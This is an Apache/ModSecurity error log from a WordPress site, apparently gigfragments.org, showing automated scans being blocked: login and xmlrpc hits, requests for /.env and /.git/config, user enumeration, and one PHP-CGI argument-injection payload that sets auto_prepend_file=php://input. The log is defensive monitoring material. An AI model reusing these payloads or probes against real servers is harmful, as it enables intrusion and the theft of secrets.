[Tue Dec 02 21:57:31.279972 2025] [:error] [pid 48650:tid 48655] [client 125.23.86.26:42464] [client 125.23.86.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.23.86.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS7wS4QuWSn3xrJsXbnKRQAAAcA"]
[Tue Dec 02 22:01:12.821558 2025] [:error] [pid 3649:tid 3731] [client 89.163.159.173:57394] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS7xKLwjL4uqC6YFjxGw5gAAAJQ"]
[Tue Dec 02 23:11:39.478473 2025] [:error] [pid 5232:tid 5256] [client 217.217.254.194:60066] [client 217.217.254.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.254.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS8BqwApmO-auDy1ob4jDwAAARY"]
[Tue Dec 02 23:12:16.628662 2025] [:error] [pid 48650:tid 48655] [client 217.217.254.194:47654] [client 217.217.254.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.217.254.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS8B0IQuWSn3xrJsXbnuvQAAAcA"]
[Tue Dec 02 23:12:26.688638 2025] [:error] [pid 5232:tid 5235] [client 5.223.50.243:60014] [client 5.223.50.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.223.50.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS8B2gApmO-auDy1ob4jNwAAAQE"]
[Wed Dec 03 00:49:36.772560 2025] [:error] [pid 47067:tid 47093] [client 194.233.68.122:59960] [client 194.233.68.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.68.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS8YoAcYJkWYuBnpVaopUQAAABU"]
[Wed Dec 03 00:58:30.131853 2025] [:error] [pid 47158:tid 47171] [client 209.38.208.202:53292] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aS8atl3-jeg4VwJRw7EDswAAAMs"]
[Wed Dec 03 00:58:42.688829 2025] [authz_core:error] [pid 47158:tid 47181] [client 209.38.208.202:33852] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Wed Dec 03 00:58:48.670924 2025] [:error] [pid 47069:tid 47129] [client 209.38.208.202:34988] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aS8ayHliPX01jdRNUv1xtgAAAII"]
[Wed Dec 03 00:58:50.667074 2025] [:error] [pid 25475:tid 25527] [client 209.38.208.202:34996] [client 209.38.208.202] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8ayh7VdEeEe8GnPSUShAAAAQ8"]
[Wed Dec 03 00:59:55.418068 2025] [:error] [pid 47158:tid 47181] [client 195.178.110.14:63849] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8bC13-jeg4VwJRw7EEggAAANU"]
[Wed Dec 03 01:10:53.156069 2025] [:error] [pid 47158:tid 47162] [client 34.88.101.71:52224] [client 34.88.101.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.88.101.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS8dnV3-jeg4VwJRw7EJ2gAAAMI"]
[Wed Dec 03 01:13:33.243285 2025] [:error] [pid 25475:tid 25516] [client 195.178.110.11:62308] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS8ePR7VdEeEe8GnPSUc2AAAAQQ"]
[Wed Dec 03 01:13:33.604430 2025] [:error] [pid 47158:tid 47165] [client 195.178.110.11:62777] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8ePV3-jeg4VwJRw7ELbgAAAMU"]
[Wed Dec 03 01:13:33.746566 2025] [:error] [pid 47069:tid 47144] [client 195.178.110.11:62308] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS8ePXliPX01jdRNUv15gQAAAJE"]
[Wed Dec 03 01:13:34.103763 2025] [:error] [pid 47068:tid 47124] [client 195.178.110.11:62777] [client 195.178.110.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8ePiDFatpzeF4tcYV_kwAAAFg"]
[Wed Dec 03 01:36:25.636012 2025] [:error] [pid 47067:tid 47084] [client 159.223.142.249:46252] [client 159.223.142.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.142.249, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS8jmQcYJkWYuBnpVapCkgAAAAw"]
[Wed Dec 03 02:06:00.418903 2025] [:error] [pid 47069:tid 47147] [client 195.178.110.10:60715] [client 195.178.110.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8qiHliPX01jdRNUv2WgQAAAJQ"]
[Wed Dec 03 02:06:00.705280 2025] [:error] [pid 47068:tid 47103] [client 195.178.110.10:54485] [client 195.178.110.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS8qiCDFatpzeF4tcYWafAAAAEM"]
[Wed Dec 03 02:06:00.922489 2025] [:error] [pid 47069:tid 47148] [client 195.178.110.10:61212] [client 195.178.110.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS8qiHliPX01jdRNUv2WgwAAAJU"]
[Wed Dec 03 02:06:01.204105 2025] [:error] [pid 47158:tid 47183] [client 195.178.110.10:54485] [client 195.178.110.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS8qiV3-jeg4VwJRw7Eq7QAAANc"]
[Wed Dec 03 02:44:51.309102 2025] [:error] [pid 47067:tid 47073] [client 159.223.226.118:54478] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS8zowcYJkWYuBnpVapvYgAAAAE"]
[Wed Dec 03 03:40:07.354377 2025] [:error] [pid 28090:tid 28169] [client 34.132.136.202:64363] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9AlwbhdhBZ0ZeWB4dbIgAAAJU"]
[Wed Dec 03 03:40:12.287507 2025] [:error] [pid 28090:tid 28162] [client 34.132.136.202:64363] [client 34.132.136.202] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aS9AnAbhdhBZ0ZeWB4dbKQAAAI4"]
[Wed Dec 03 03:40:14.043233 2025] [:error] [pid 28090:tid 28158] [client 34.132.136.202:64363] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9AngbhdhBZ0ZeWB4dbMAAAAIo"]
[Wed Dec 03 03:40:16.070641 2025] [:error] [pid 28088:tid 28111] [client 34.132.136.202:49361] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9AoCwTQ6YraU5EsK9_jwAAABI"]
[Wed Dec 03 03:40:18.020316 2025] [:error] [pid 28088:tid 28093] [client 34.132.136.202:60439] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9AoiwTQ6YraU5EsK9_mgAAAAA"]
[Wed Dec 03 03:40:20.025310 2025] [:error] [pid 28184:tid 28204] [client 34.132.136.202:61785] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9ApJOELf9lFqFaitEB-AAAAMs"]
[Wed Dec 03 03:40:22.077053 2025] [:error] [pid 28090:tid 28168] [client 34.132.136.202:50369] [client 34.132.136.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.132.136.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9ApgbhdhBZ0ZeWB4dbTwAAAJQ"]
[Wed Dec 03 03:40:22.077212 2025] [:error] [pid 28090:tid 28168] [client 34.132.136.202:50369] [client 34.132.136.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.132.136.202, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9ApgbhdhBZ0ZeWB4dbTwAAAJQ"]
[Wed Dec 03 03:55:23.908704 2025] [:error] [pid 47089:tid 47104] [client 5.183.189.74:40070] [client 5.183.189.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.183.189.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9EKwd82EVr621c8CXlwwAAAM0"]
[Wed Dec 03 04:05:09.391107 2025] [:error] [pid 46995:tid 47073] [client 198.144.187.120:58386] [client 198.144.187.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.144.187.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9GdS49R77DGA8IkDD_tAAAAJM"]
[Wed Dec 03 04:05:12.147608 2025] [:error] [pid 46995:tid 47065] [client 198.144.187.120:57381] [client 198.144.187.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.144.187.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9GeC49R77DGA8IkDD_uQAAAIs"]
[Wed Dec 03 04:05:14.245685 2025] [:error] [pid 46995:tid 47072] [client 198.144.187.120:51452] [client 198.144.187.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.144.187.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9Gei49R77DGA8IkDD_ugAAAJI"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 04:11:59.222585 2025] [:error] [pid 46993:tid 47006] [client 66.175.44.31:44184] [client 66.175.44.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.175.44.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9ID6fmmy2Qwo-29xB_vgAAAAk"]
[Wed Dec 03 04:36:49.134956 2025] [:error] [pid 46994:tid 47035] [client 179.84.8.229:61314] [client 179.84.8.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.84.8.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9N4QHTXie6yvgtpe5UmwAAAEo"]
[Wed Dec 03 05:07:00.367852 2025] [:error] [pid 46994:tid 47030] [client 66.175.44.63:47174] [client 66.175.44.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9U9AHTXie6yvgtpe5fbgAAAEU"]
[Wed Dec 03 05:07:16.513995 2025] [:error] [pid 33559:tid 33580] [client 66.175.44.63:56116] [client 66.175.44.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9VBBjwmvaY39XExDte2wAAAtM"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 05:29:21.686995 2025] [:error] [pid 46995:tid 47073] [client 46.105.230.99:3839] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9aMS49R77DGA8IkDAeHQAAAJM"]
[Wed Dec 03 06:20:44.677658 2025] [:error] [pid 33479:tid 33492] [client 185.107.91.141:56866] [client 185.107.91.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.107.91.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS9mPHtPHKTrY8dx_x7LbQAAAks"]
[Wed Dec 03 07:17:24.205278 2025] [:error] [pid 22083:tid 22096] [client 103.146.203.227:56548] [client 103.146.203.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.146.203.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9zhPicvKZCy0M9-zySDgAAAEs"]
[Wed Dec 03 07:17:25.905782 2025] [:error] [pid 22083:tid 22097] [client 103.146.203.227:37814] [client 103.146.203.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.146.203.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9zhficvKZCy0M9-zySGQAAAEw"], referer: http://gigfragments.org/wp-login.php
[Wed Dec 03 07:17:27.566828 2025] [:error] [pid 24019:tid 24043] [client 103.146.203.227:38184] [client 103.146.203.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aS9zh5kVRhF9Pu1FX0PA1AAAAJU"], referer: http://gigfragments.org/wp-login.php
[Wed Dec 03 07:17:28.001117 2025] [:error] [pid 22083:tid 22086] [client 103.146.203.227:38278] [client 103.146.203.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.146.203.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS9zh_icvKZCy0M9-zySLAAAAEE"], referer: https://gigfragments.org/wp-login.php?redirect_to=https%3A%2F%2Fgigfragments.org%2Fwp-admin%2F
[Wed Dec 03 07:28:20.211837 2025] [:error] [pid 21970:tid 21995] [client 143.244.183.177:41104] [client 143.244.183.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.183.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS92FGYwAeqEfyJIWdRjSwAAABM"]
[Wed Dec 03 07:32:33.704020 2025] [:error] [pid 22014:tid 22066] [client 195.178.110.14:53237] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS93EQgpXEQej7y9Y6bvHwAAARQ"]
[Wed Dec 03 07:32:34.061349 2025] [:error] [pid 22014:tid 22054] [client 195.178.110.14:49556] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS93EggpXEQej7y9Y6bvIAAAAQg"]
[Wed Dec 03 07:32:34.557702 2025] [:error] [pid 22083:tid 22092] [client 195.178.110.14:55985] [client 195.178.110.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aS93EvicvKZCy0M9-zyZKQAAAEc"]
[Wed Dec 03 09:27:00.446443 2025] [:error] [pid 24019:tid 24030] [client 159.89.47.58:54650] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS-R5JkVRhF9Pu1FX0MJbwAAAIg"]
[Wed Dec 03 09:27:04.879084 2025] [:error] [pid 54695:tid 54703] [client 159.89.47.58:55522] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS-R6GrRT4nTHsfUu07f0QAAAUQ"]
[Wed Dec 03 10:18:09.765647 2025] [proxy_fcgi:error] [pid 21970:tid 21986] (70007)The timeout specified has expired: [client 51.81.107.180:40434] AH01075: Error dispatching request to : (polling)
[Wed Dec 03 10:43:16.681072 2025] [:error] [pid 22013:tid 22039] [client 178.255.43.221:53082] [client 178.255.43.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.255.43.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS-jxIpUogO0aqsrpMWd9wAAANQ"]
[Wed Dec 03 10:54:11.788878 2025] [:error] [pid 22013:tid 22029] [client 182.42.111.156:53969] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aS-mU4pUogO0aqsrpMWgQAAAAMo"]
[Wed Dec 03 11:32:54.739310 2025] [:error] [pid 24019:tid 24023] [client 159.89.47.58:60298] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS-vZpkVRhF9Pu1FX0NFbAAAAIE"]
[Wed Dec 03 11:32:57.454535 2025] [:error] [pid 54695:tid 54707] [client 159.89.47.58:44846] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS-vaWrRT4nTHsfUu076_gAAAUg"]
[Wed Dec 03 11:59:52.592253 2025] [:error] [pid 24019:tid 24036] [client 50.3.167.128:40236] [client 50.3.167.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.3.167.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS-1uJkVRhF9Pu1FX0NRJQAAAI4"]
